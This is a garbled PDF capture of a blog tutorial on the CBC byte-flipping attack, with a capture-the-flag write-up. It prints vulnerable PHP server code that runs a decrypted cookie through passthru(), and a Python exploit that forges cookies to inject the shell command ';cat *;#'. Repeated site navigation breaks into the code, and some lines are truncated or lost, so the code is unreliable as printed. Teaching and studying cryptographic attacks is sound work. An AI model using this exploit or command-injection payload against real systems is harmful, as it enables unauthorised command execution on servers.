Você está na página 1de 17

TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

SIQ PHISHING SIMULATOR

CBC Byte Flipping Attack101


Approach
SHARE

Ethical
Hacking Boot
Camp
OUR MOST POPULAR COURSE!

CLICK HERE!

What's this?
Practice for certification success with
the Skillset library of over 100,000
practice test questions. We analyze your
responses and can determine when you
are ready to sit for the test.
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

SIQ PHISHING SIMULATOR

As usual, there are some explanations about this attack out there (see references
at the end), but some knowledge is required to understand it properly, so here I
will describe, step by step, how to perform this attack.

Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in


the ciphertext.

Why?

To bypass filters by adding malicious chars like a single quote, or to elevate


privileges by changing the ID of the user to admin, or any other consequence of
changing the plaintext expected by an application.

Introduction

First of all, lets start understanding how CBC (cipher-block chaining) works. A
detailed explanation can be found here:

http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-
block_chaining_.28CBC.29

But I will only explain what is needed to understand the attack.

Encryption process
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

SIQ PHISHING SIMULATOR

Plaintext: The data to be encrypted.

IV: A block of bits that is used to randomize the encryption and hence to
produce distinct ciphertexts even if the same plaintext is encrypted multiple
times.

Key: Used by symmetric encryption algorithms like AES, Blowfish, DES, Triple
DES, etc.

Ciphertext: The data encrypted.

An important point here is that CBC works on a fixed-length group of bits called
a block. In this blog, we will use blocks of 16 bytes each.

Since I hate mathematical formulas, below are mine:

Ciphertext-0 = Encrypt(Plaintext XOR IV)Just for the first block.

Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)For second and remaining


blocks.

Note: As you can see, the ciphertext of the previous block is used to generate
the next one.

Decryption Process
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

SIQ PHISHING SIMULATOR

Plaintext-0 = Decrypt(Ciphertext) XOR IVJust for the first block.

Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1For second and remaining


blocks.

Note: The Ciphertext-N-1 is used to generate the plaintext of the next block; this
is where the byte flipping attack comes into play. If we change one byte of the
Ciphertext-N-1 then, by XORing with the net decrypted block, we will get a
different plaintext! You got it? Do not worry, we will see a detailed example
below. Meanwhile, below is a nice diagram explaining this attack:

Example: CBC Blocks of 16 bytes

Lets say we have this serialized plaintext:

a:2:{s:4:name;s:6:sdsdsd;s:8:greeting;s:20:echo Hello sdsdsd!';}


6 to number 7. The first thing we

Block 1: a:2:{s:4:name;
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD
Block 2 s:6:sdsdsd;s:8 &lt;&lt;<target data-blogger-escaped-div= data-
SIQ blogger-escaped-here=>
PHISHING SIMULATOR

Block 3: :greeting;s:20:
Block 4: echo Hello sd
Block 5: sdsd!';}

So our target character is located at block 2, which means that we need to


change the ciphertext of block 1 to change the plaintext of the second block.

A rule of thumb is that the byte you change in a ciphertext will ONLY affect a
byte at the same offset of next plaintext. Our target is at offset 2:

[0] = s
[1] = :
[2] = 6

Therefore we need to change the byte at offset 2 of the first ciphertext block. As
you can see in the code below, at line 2 we get the ciphertext of the whole data,
then at line 3 we change the byte of block 1 at offset 2, and finally we call the
decryption function.

1. $v = a:2:{s:4:name;s:6:sdsdsd;s:8:greeting;s:20:echo Hello sdsdsd!';};


2. $enc = @encrypt($v);
3. $enc[2] = chr(ord($enc[2]) ^ ord(6) ^ ord (7));
4. $b = @decrypt($enc);

After running this code, we are able to change number 6 to 7:

But, how did we change the byte to the value we wanted at line 3?

Based on the decryption process described above, we know that A = Decrypt


(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to:
can easily get that value by doing:
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

A = B XOR C
SIQ PHISHING SIMULATOR

And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own
value by adding it at the end of the XOR calculation, like this:

A XOR B XOR C XOR 7 will give us 7 in the plaintext at offset 2 on the second
block.

Below is the PHP source code so that you can replicate it:

01. define('MY_AES_KEY', "abcdef0123456789");


02. function aes($data, $encrypt) {
03. $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '',
MCRYPT_MODE_CBC, '');
04. $iv = "1234567891234567";
05. mcrypt_generic_init($aes, MY_AES_KEY, $iv);
06. return $encrypt ? mcrypt_generic($aes,$data) :
mdecrypt_generic($aes,$data);
07. }
08.

09. define('MY_MAC_LEN', 40);


10.

11. function encrypt($data) {


12. return aes($data, true);
13. }
14.

15. function decrypt($data) {


16. $data = rtrim(aes($data, false), "\0");
17. return $data;
18. }
19. $v = "a:2:
{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo
'Hello sdsdsd!'\";}";
20. echo "Plaintext before attack: $v\n";
21. $b = array();
22. $enc = array();
23. $enc = @encrypt($v);
24. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
= @decrypt($enc);
"Plaintext AFTER attack : $b\n";

TOPICS Try changing the character


CONTRIBUTORS from 7 to ACAREERS
ARCHIVE or something else to see how it works.
JOB BOARD

SIQ Exercise
PHISHING 2:
SIMULATOR

Now that we understood how this attack works, lets do a more real-world
exercise. Some weeks ago the CTF competition was hosted by the team
Eindbazen and there was a Web 400 challenge called Moo! You can see all the
details of this task at the end of the blog in References 2 and 3; here I am just
going to describe the final steps of breaking CBC.

We were provided with the source code for analysis. Below is the chunk
important for this exercise:

Basically, you will submit any text in the POST parameter name and the app
will respond with a Hello message concatenating the text submitted at the
end, but two things happen before the message is printed:

1. The POST name parameter is filtered out by the PHP escapeshellarg()


function (which mainly will escape single quotes to prevent injecting malicious
commands) and then it is stored in the Array-&gt;greeting field to finally create a
cookie encrypted with this value.
Array-&gt;greeting field is executed via PHP passthru() function,

3. Finally, any time the page is accessed, if the cookie already exists, it will be
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD
decrypted and its content executed via passthru() function. Here is where our
SIQ CBC
PHISHING SIMULATOR
attack will give us a different plaintext, as explained in previous section.

So, I tried to inject the string below into the POST parameter name:

name = X + ;cat *;#a

I added the char X which is the one to be replaced with a single quote via CBC
byte flipping attack, then the command to be executed, ;cat *;, and finally an #,
which is interpreted as a comment by the shell so that we do not get problems
with the last single quote inserted by escapeshellarg() function; therefore our
command gets executed successfully.

After calculating the exact offset of previous ciphertext block byte to be


changed (offset 51), I executed the code below to inject a single quote:

pos = 51;
val = chr(ord(X) ^ ord() ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

I am altering the cookie, since it has the whole ciphertext. Finally, I got this
result:

First, we can see in yellow that our X was successfully changed to a single
quote in the second block but, since the first block was altered, it got garbage
inserted (in green) which causes an error when trying to unserialize() the data (in
red) and, therefore, the app did not even try to execute our injection.

How to Fix It?


block that does not cause any problem during unserialization. A way to get
TOPICS around CONTRIBUTORS ARCHIVE
it is by padding our CAREERSwith alphabetic
malicious command JOB BOARDchars.
Therefore we come up with this injection string padding with multiple z before
SIQ PHISHING SIMULATOR
and after:

name = z*17 + X + ;cat *;# + z *16

After sending above string, voila!!!, unserialize() does not complain about the
garbage received and our shell command is executed successfully!!!!

If you want to replicate this exercise, in the Appendix section there is the PHP
code running on the server side and the Python script (a little bit modified from
code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploit.

Finally, I want to thank the guys from the references mentioned below for
writing those excellent blogs.

Referencies

1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto

2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/

3. http://hardc0de.ru/2013/08/04/ebctf-web400/

Enjoy it!

Appendix

PHP code:

01. ini_set('display_errors',1);
02. error_reporting(E_ALL);
03.

04. define('MY_AES_KEY', "abcdef0123456789");


05. define('MY_HMAC_KEY',"1234567890123456" );
06. #define("FLAG","CENSORED");
07.

08. function aes($data, $encrypt) {


$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '',
, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes),
MCRYPT_RAND);
TOPICS 11. CONTRIBUTORS ARCHIVE CAREERS
$iv = "1234567891234567"; JOB BOARD
12. mcrypt_generic_init($aes, MY_AES_KEY, $iv);
SIQ PHISHING
13. SIMULATOR
return $encrypt ? mcrypt_generic($aes, $data) :
mdecrypt_generic($aes, $data);
14. }
15.

16. define('MY_MAC_LEN', 40);


17.

18. function hmac($data) {


19. return hash_hmac('sha1', data, MY_HMAC_KEY);
20. }
21.

22. function encrypt($data) {


23. return aes($data . hmac($data), true);
24. }
25.

26. function decrypt($data) {


27. $data = rtrim(aes($data, false), "\0");
28. $mac = substr($data, -MY_MAC_LEN);
29. $data = substr($data, 0, -MY_MAC_LEN);
30. return hmac($data) === $mac ? $data : null;
31. }
32. $settings = array();
33. if (@$_COOKIE['settings']) {
34. echo @decrypt(base64_decode($_COOKIE['settings']));
35. $settings = unserialize(@decrypt(base64_decode($_COOKIE
['settings'])));
36. }
37. if (@$_POST['name'] && is_string($_POST['name']) && strlen
($_POST['name']) < 200) {
38. $settings = array(
39. 'name' => $_POST['name'],
40. 'greeting' => ('echo ' . escapeshellarg("Hello
{$_POST['name']}!")),
41. );
42. setcookie('settings', base64_encode(@encrypt(serialize
($settings))));
43. #setcookie('settings', serialize($settings));
44. }
45. $d = array();
(@$settings['greeting']) {
passthru($settings['greeting']);
{
49. echo "</pre>
TOPICS 50. CONTRIBUTORS ARCHIVE CAREERS
<form action="\&quot;?\&quot;" JOB BOARD
method="\&quot;POST\&quot;">\n";
SIQ PHISHING
51. SIMULATOR
echo "
52. What is your name?
53.

54. \n";
55. echo "<input type="\&quot;text\&quot;"
name="\&quot;name\&quot;" />\n";
56. echo "<input type="\&quot;submit\&quot;"
name="\&quot;submit\&quot;" value="\&quot;Submit\&quot;"
/>\n";
57. echo "</form>
58. <pre>
59. \n";
60. }
61. ?>

Exploit:

01. #!/usr/bin/python
02. import requests
03. import sys
04. import urllib
05. from base64 import b64decode as dec
06. from base64 import b64encode as enc
07.

08. url = 'http://192.168.184.133/ebctf/mine.php'


09.

10. def Test(x):


11. t = "echo 'Hello %s!'" % x
12. s = 'a:2:
{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len
(x),x,len(t),t, 'X'*40)
13. for i in xrange(0,len(s),16):
14. print s[i:i+16]
15. print '\n'
16.

17. def Pwn(s):


18. global url
= urllib.quote_plus(enc(s))
= requests.get(url, cookies = {'settings' :
}).content
21. # if req.find('works') != -1:
TOPICS 22. CONTRIBUTORS
print req ARCHIVE CAREERS JOB BOARD
23. # else:
SIQ PHISHING
24. SIMULATOR
# print '[-] FAIL'
25.

26. def GetCookie(name):


27. global url
28. d = {
29. 'name':name,
30. 'submit':'Submit'
31. }
32. h = requests.post(url, data = d, headers = {'Content-Type'
: 'application/x-www-form-urlencoded'}).headers
33. if h.has_key('set-cookie'):
34. h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
35. #h = urllib.unquote_plus(h['set-cookie'][9:])
36. #print h
37. return h
38. else:
39. print '[-] ERROR'
40. sys.exit(0)
41.

42. #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo


'Hello X;cat *;#a!'";}
43. #a:2:{s:4:"name";
44. #s:10:"X;cat *;#a
45. #";s:8:"greeting"
46. #;s:24:"echo 'Hel
47. #lo X;cat *;#a!'"
48. #;}
49.

50. #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat
*;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello
zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
51. #a:2:{s:4:"name";
52. #s:42:"zzzzzzzzzz
53. #zzzzzzzX;cat *;#
54. #zzzzzzzzzzzzzzzz
55. #";s:8:"greeting"
56. #;s:56:"echo 'Hel
57. #lo zzzzzzzzzzzzz
}
61. #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
TOPICS 62. CONTRIBUTORS ARCHIVE
exploit = 'z'*17 CAREERS
+ 'X' + ';cat JOB #BOARD
*;#' + 'z' *16 Test Success
63.
SIQ PHISHING
64. SIMULATOR
#exploit =
"______________________________________________________; cat
*;#"
65. #Test(exploit)
66. cookie = GetCookie(exploit)
67. pos = 100; #test case success
68. #pos = 51; #test case first, unsuccess
69. val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
70. exploit = cookie[0:pos] + val + cookie[pos + 1:]
71. Pwn(exploit)

SecurityIQ is the #1
Phishing Simulator
on the Market.
Try it today for FREE!

Prevent the top cause of security breaches


by preparing your last line of
dense with SecurityIQ.

Yes, I Want a FREE Invite! No Thanks


3 14 0
9
Share Share Like
reddit
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

SIQ PHISHING SIMULATOR

Daniel Regalado aka Danux is a security


enthusiast with more than 10 years of
AUTHOR experience on the field. His main focus is on

Daniel Malware and Vulnerability Research; you can

Regalado reach him either via email danuxx [at]


gmail.com or his blog site:
http://danuxx.blogspot.com/

FREE PRACTICE EXAMS

CCNA Practice Exam

Network + Practice Exam

PMP Practice Exam

Security+ Practice Exam

CEH Practice Exam

CISSP Practice Exam

FREE TRAINING TOOLS

Phishing Simulator

Security Awareness
EDITORS CHOICE

Adding a Section to PE Binary


TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD
API Call Logging Part I
SIQ PHISHING SIMULATOR
Security Awareness Training for
the European Union General
Data Protection Regulation (EU
GDPR)

An Introduction to tmux

USV CTF

An Examination of the Caesar


Methodology, Ciphers, Vectors,
and Block Chaining

Analysis of a spam bot

Stapler Walkthrough

Integrate WHONIX with Kali


Linux to Achieve Anonymity

10 Security Vulnerabilities That


Broke the World Wide Web in
2016

Unprotected MongoDB
Installations: childs play for
hackers

A Brief Summary of Encryption


Method Used in Widespread
Ransomware
RELATED BOOT CAMPS

Information Security
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD
Security Awareness
SIQ PHISHING SIMULATOR
CCNA

PMP

Microsoft

Incident Response

Information Assurance

Ethical Hacking

Hacker Training Online

Adding a Section API Call Logging


to PE Binary Part I

Security
Awareness An Introduction to
Training for the tmux
European


0 Comments InfoSec Institute Resources Login
TOPICS CONTRIBUTORS ARCHIVE CAREERS JOB BOARD

Recommend Sort by Best


Share
SIQ PHISHING SIMULATOR

Subscribe d Add Disqus to your site Add Disqus Add Privacy

About InfoSec Connect with Join our


InfoSec Institute is the best us newsletter
source for high quality
Stay up to date with Get the latest news, updates
information security training.
InfoSec Institute and & offers straight to your
We have been training
Intense School - at inbox.
Information Security and IT
info@infosecinstitute.com
Professionals since 1998 with
SUBSCRIBE
ENTER YOUR EMAIL
a diverse lineup of relevant Like 1.1K

training courses. In the past Follow @infosecedu

16 years, over 50,000


individuals have trusted
InfoSec Institute for their
professional development
needs!

INFOSEC RESOURCES 2017

Você também pode gostar